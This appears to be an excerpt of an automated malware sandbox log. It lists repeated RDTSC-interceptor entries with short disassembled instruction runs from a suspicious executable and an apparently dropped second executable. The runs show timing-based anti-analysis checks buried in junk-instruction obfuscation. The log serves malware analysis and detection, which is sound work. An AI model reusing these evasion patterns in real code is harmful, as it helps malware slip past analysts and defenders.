Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85BA84 second address: 85BA88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53802AF second address: 53802B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53802B3 second address: 53802B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53802B7 second address: 53802C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov bl, ah 0x0000000d push edi 0x0000000e pop ecx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538042D second address: 5380433 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380433 second address: 538045E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38EC75ED1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov bx, 9BCEh 0x00000013 jmp 00007F38EC75ED1Fh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380535 second address: 5380557 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, 4Fh 0x00000005 mov edx, 10398ECAh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xor dword ptr [esp], 2E52C05Bh 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F38ECB57B9Ch 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380557 second address: 53805B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38EC75ED1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F395E5927A2h 0x0000000e push 771B27D0h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [77240140h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 jmp 00007F38EC75ED26h 0x00000058 and dword ptr [ebp-04h], 00000000h 0x0000005c pushad 0x0000005d jmp 00007F38EC75ED1Eh 0x00000062 call 00007F38EC75ED22h 0x00000067 push ecx 0x00000068 pop edx 0x00000069 pop eax 0x0000006a popad 0x0000006b mov edx, dword ptr [ebp+0Ch] 0x0000006e push eax 0x0000006f push edx 0x00000070 push eax 0x00000071 push edx 0x00000072 pushad 0x00000073 popad 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53805B3 second address: 53805C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38ECB57BA2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53805C9 second address: 53805E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38EC75ED1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov edx, 7EAAF316h 0x00000013 mov esi, edi 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53805E5 second address: 538061A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38ECB57BA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edx] 0x0000000b jmp 00007F38ECB57BA0h 0x00000010 inc edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538061A second address: 538061E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538061E second address: 5380624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380624 second address: 538061A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38EC75ED24h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F38EC75ED1Eh 0x00000012 or al, FFFFFFF8h 0x00000015 jmp 00007F38EC75ED1Bh 0x0000001a popfd 0x0000001b movzx esi, dx 0x0000001e popad 0x0000001f jne 00007F38EC75ECB0h 0x00000025 mov al, byte ptr [edx] 0x00000027 jmp 00007F38EC75ED20h 0x0000002c inc edx 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380670 second address: 5380676 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380676 second address: 538067A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538067A second address: 538067E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538067E second address: 53806ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub edx, esi 0x0000000a jmp 00007F38EC75ED29h 0x0000000f mov edi, dword ptr [ebp+08h] 0x00000012 jmp 00007F38EC75ED1Eh 0x00000017 dec edi 0x00000018 pushad 0x00000019 mov ax, E13Dh 0x0000001d pushfd 0x0000001e jmp 00007F38EC75ED1Ah 0x00000023 or al, 00000018h 0x00000026 jmp 00007F38EC75ED1Bh 0x0000002b popfd 0x0000002c popad 0x0000002d lea ebx, dword ptr [edi+01h] 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F38EC75ED25h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53806ED second address: 53806FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F38ECB57B9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53806FD second address: 5380714 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov al, byte ptr [edi+01h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F38EC75ED1Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380714 second address: 538071A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538071A second address: 538071E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538071E second address: 538074C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38ECB57B9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b inc edi 0x0000000c pushad 0x0000000d movsx ebx, si 0x00000010 popad 0x00000011 test al, al 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F38ECB57BA1h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538074C second address: 53807DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F38EC75ED27h 0x00000009 xor ch, FFFFFFAEh 0x0000000c jmp 00007F38EC75ED29h 0x00000011 popfd 0x00000012 mov esi, 50FDE537h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a jne 00007F395E587009h 0x00000020 pushad 0x00000021 call 00007F38EC75ED28h 0x00000026 pushfd 0x00000027 jmp 00007F38EC75ED22h 0x0000002c or al, FFFFFF88h 0x0000002f jmp 00007F38EC75ED1Bh 0x00000034 popfd 0x00000035 pop ecx 0x00000036 mov cx, di 0x00000039 popad 0x0000003a mov ecx, edx 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53807DA second address: 53807F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38ECB57BA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53807F6 second address: 538080E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 mov dl, 90h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a shr ecx, 02h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov edi, 392F5DF4h 0x00000015 mov cl, dl 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538080E second address: 538085F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38ECB57B9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsd 0x0000000b rep movsd 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 jmp 00007F38ECB57BA6h 0x00000018 mov ecx, edx 0x0000001a pushad 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F38ECB57B9Ch 0x00000022 adc si, 6A08h 0x00000027 jmp 00007F38ECB57B9Bh 0x0000002c popfd 0x0000002d popad 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538085F second address: 538086F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bh, 4Ah 0x00000006 popad 0x00000007 popad 0x00000008 and ecx, 03h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e mov bl, 8Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538086F second address: 538088E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rep movsb 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F38ECB57BA6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538088E second address: 53808D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38EC75ED1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000010 jmp 00007F38EC75ED26h 0x00000015 mov eax, ebx 0x00000017 jmp 00007F38EC75ED20h 0x0000001c mov ecx, dword ptr [ebp-10h] 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 mov bx, FA6Eh 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53808D9 second address: 53808DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53808DF second address: 53808E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53808E3 second address: 5380926 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38ECB57B9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr fs:[00000000h], ecx 0x00000012 jmp 00007F38ECB57BA0h 0x00000017 pop ecx 0x00000018 pushad 0x00000019 mov al, 6Fh 0x0000001b mov dh, 40h 0x0000001d popad 0x0000001e pop edi 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F38ECB57B9Ch 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380926 second address: 538092A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538092A second address: 5380930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380930 second address: 53809A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38EC75ED1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007F38EC75ED20h 0x0000000f pop ebx 0x00000010 jmp 00007F38EC75ED20h 0x00000015 leave 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov edx, 6BD8DFF0h 0x0000001e pushfd 0x0000001f jmp 00007F38EC75ED29h 0x00000024 and esi, 328C1576h 0x0000002a jmp 00007F38EC75ED21h 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53809A0 second address: 5380535 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F38ECB57BA7h 0x00000009 sbb ecx, 60649AAEh 0x0000000f jmp 00007F38ECB57BA9h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F38ECB57BA0h 0x0000001b adc eax, 796AB428h 0x00000021 jmp 00007F38ECB57B9Bh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a retn 0008h 0x0000002d cmp dword ptr [ebp-2Ch], 10h 0x00000031 mov eax, dword ptr [ebp-40h] 0x00000034 jnc 00007F38ECB57B95h 0x00000036 push eax 0x00000037 lea edx, dword ptr [ebp-00000590h] 0x0000003d push edx 0x0000003e call esi 0x00000040 push 00000008h 0x00000042 jmp 00007F38ECB57B9Ch 0x00000047 push 5970DC73h 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f call 00007F38ECB57B9Ah 0x00000054 pop ecx 0x00000055 mov cx, bx 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380B12 second address: 5380B16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380B16 second address: 5380B1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380B1C second address: 5380B8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38EC75ED24h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F38EC75ED21h 0x00000011 sbb si, 4496h 0x00000016 jmp 00007F38EC75ED21h 0x0000001b popfd 0x0000001c mov ecx, 4AB43507h 0x00000021 popad 0x00000022 xchg eax, ebp 0x00000023 jmp 00007F38EC75ED1Ah 0x00000028 mov ebp, esp 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F38EC75ED27h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380B8B second address: 5380B91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380B91 second address: 5380B95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 1DF1A1 second address: 1DF1A6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 35F00E second address: 35F014 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 35F014 second address: 35F018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 35F018 second address: 35F035 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F38EC75ED20h 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 35F035 second address: 35F049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F38ECB57B9Fh 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 35F049 second address: 35F05C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F38EC75ED1Dh 0x0000000b rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 35E126 second address: 35E148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F38ECB57BA7h 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 35E511 second address: 35E517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 35E517 second address: 35E528 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007F38ECB57B96h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 360450 second address: 360455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 360455 second address: 360464 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F38ECB57B9Bh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 360464 second address: 360468 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 360468 second address: 3604BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b call 00007F38ECB57BA2h 0x00000010 push eax 0x00000011 jmp 00007F38ECB57B9Fh 0x00000016 pop ecx 0x00000017 pop esi 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007F38ECB57BA3h 0x00000020 mov edx, ebx 0x00000022 pop edx 0x00000023 pop edx 0x00000024 push C9081F53h 0x00000029 js 00007F38ECB57B9Eh 0x0000002f push ecx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 3606CB second address: 3606D5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F38EC75ED1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 3606D5 second address: 36071C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 movsx edx, si 0x0000000c push 00000000h 0x0000000e mov ecx, dword ptr [ebp+122D2BB7h] 0x00000014 call 00007F38ECB57B99h 0x00000019 jno 00007F38ECB57B9Eh 0x0000001f push eax 0x00000020 jns 00007F38ECB57BA2h 0x00000026 mov eax, dword ptr [esp+04h] 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 36071C second address: 360739 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F38EC75ED16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push edx 0x0000000e pop edx 0x0000000f popad 0x00000010 popad 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 jg 00007F38EC75ED18h 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 360739 second address: 36073E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 36073E second address: 36074D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push ecx 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 36074D second address: 3607B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 mov edi, dword ptr [ebp+122D2C0Fh] 0x0000000d push 00000003h 0x0000000f clc 0x00000010 push 00000000h 0x00000012 mov esi, edx 0x00000014 push 00000003h 0x00000016 mov ch, dl 0x00000018 push AB1621E6h 0x0000001d jmp 00007F38ECB57BA2h 0x00000022 add dword ptr [esp], 14E9DE1Ah 0x00000029 jnc 00007F38ECB57B9Ch 0x0000002f lea ebx, dword ptr [ebp+124552F9h] 0x00000035 or di, EC5Ah 0x0000003a xchg eax, ebx 0x0000003b jmp 00007F38ECB57BA1h 0x00000040 push eax 0x00000041 push ebx 0x00000042 push eax 0x00000043 push edx 0x00000044 jng 00007F38ECB57B96h 0x0000004a rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 372F6B second address: 372F95 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F38EC75ED23h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d ja 00007F38EC75ED1Ch 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 341636 second address: 34163C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 34163C second address: 341669 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F38EC75ED21h 0x00000008 jmp 00007F38EC75ED1Dh 0x0000000d pop edi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jl 00007F38EC75ED31h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 380158 second address: 38015C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38015C second address: 380170 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38EC75ED1Fh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 380170 second address: 380176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 380176 second address: 38017E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 3802BA second address: 3802C0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 380D9B second address: 380DD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 jno 00007F38EC75ED30h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F38EC75ED20h 0x00000019 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 380DD9 second address: 380DE9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F38ECB57BA2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 380DE9 second address: 380DEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 380DEF second address: 380DF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 380DF3 second address: 380E22 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F38EC75ED27h 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b pushad 0x0000000c jmp 00007F38EC75ED1Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 381168 second address: 38116C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
